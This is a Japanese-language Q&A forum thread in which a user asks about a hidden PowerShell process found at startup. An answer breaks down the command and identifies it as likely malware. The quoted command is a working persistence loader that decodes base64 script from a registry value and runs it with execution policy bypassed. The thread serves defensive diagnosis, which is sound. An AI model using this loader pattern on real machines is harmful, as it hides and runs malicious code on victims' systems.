ランダムな powershell.exe プロセスですか?

ランダムな powershell.exe プロセスですか?

数日前、タスク マネージャーで powershell.exe プロセスが実行中であることに気付きました。msconfig にアクセスすると、非常に長いコマンドが表示されました。そのコマンドは次のとおりです。

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -noprofile -windowstyle hidden -executionpolicy bypass iex ([Text.Encoding]::ASCII.Get.String([Convert]::FromBase64string((gp'HKCU:\Software\Classes\SAJELFZIXHQTV').ADUXJH)));

これは本当に奇妙です。というのも、今日、以前問題があったランダムなプロセス (これとは関係ないかもしれませんが、念のため言っておきます) が表示されました。これはウイルスで、Windows が言うように、安全でないドライバーを PC にダウンロードしようとしました。この PowerShell プロセスについて、どなたか教えていただけませんか? 起動時に開始され、常に実行されています。繰り返しますが、無知に聞こえなければいいのですが、これは通常の起動プロセスなのかもしれません。

答え1

これはほぼ間違いなく悪意のあるものです。

-noprofileこれを分解してみましょう。これは、ユーザーのカスタマイズなしで ( )、隠しウィンドウ ( ) でWindows PowerShell (正当で非常に便利なコマンド インタープリター) を呼び出し-windowstyle hidden、PowerShell セッションがシステム ポリシーに関係なくスクリプトを実行できるようにします ( -executionpolicy bypass)。次に、次のコマンドを実行します。

iex ([Text.Encoding]::ASCII.Get.String([Convert]::FromBase64string((gp'HKCU:\Software\Classes\SAJELFZIXHQTV').ADUXJH)))

gpは を意味しGet-ItemProperty、レジストリキーの値を取得するために使用できます。ここで行っているのはまさにそれです。どうやら、SAJELFZIXHQTV現在のユーザーSoftware\Classesキーには というキーがあります。そのキーには という値がありADUXJH、その中のデータが によってgp取得されます。そのデータ (明らかに文字列) はベース64- バイト配列 ( FromBase64String) にデコードされます。これらのバイトは ASCII テキスト ( ) として解釈されます。奇妙なことに、元のコードには余分なドットがあり、オブジェクトには と呼ばれるメンバーがないASCII.GetStringため、エラーが発生するはずです。ただし、プロセスが残っていることを考えると、余分なドットは単なる転写エラーであると思われます。ASCIIGet

そのエラーがなければ、結果のテキストは PowerShell コマンド ( iex) として呼び出されます。つまり、このコマンドは、レジストリからエンコードされたスクリプトを読み込んで実行するように設計されています。実行内容を正確に確認するには、上記の PowerShell コマンドをiex、余分なドットを削除して PowerShell プロンプトにコピーし、実行します。呼び出されるコマンドが出力されます。これはほぼ確実に無害なコマンドではありません。

そのエントリの自動起動を停止するには、自動実行ツール。ただし、感染している可能性が高いため、マシンをより徹底的にクリーンアップすることをお勧めします。悪意のあるスパイウェア、マルウェア、アドウェア、ウイルス、トロイの木馬、またはルートキットを PC から削除するにはどうすればよいですか?

関連情報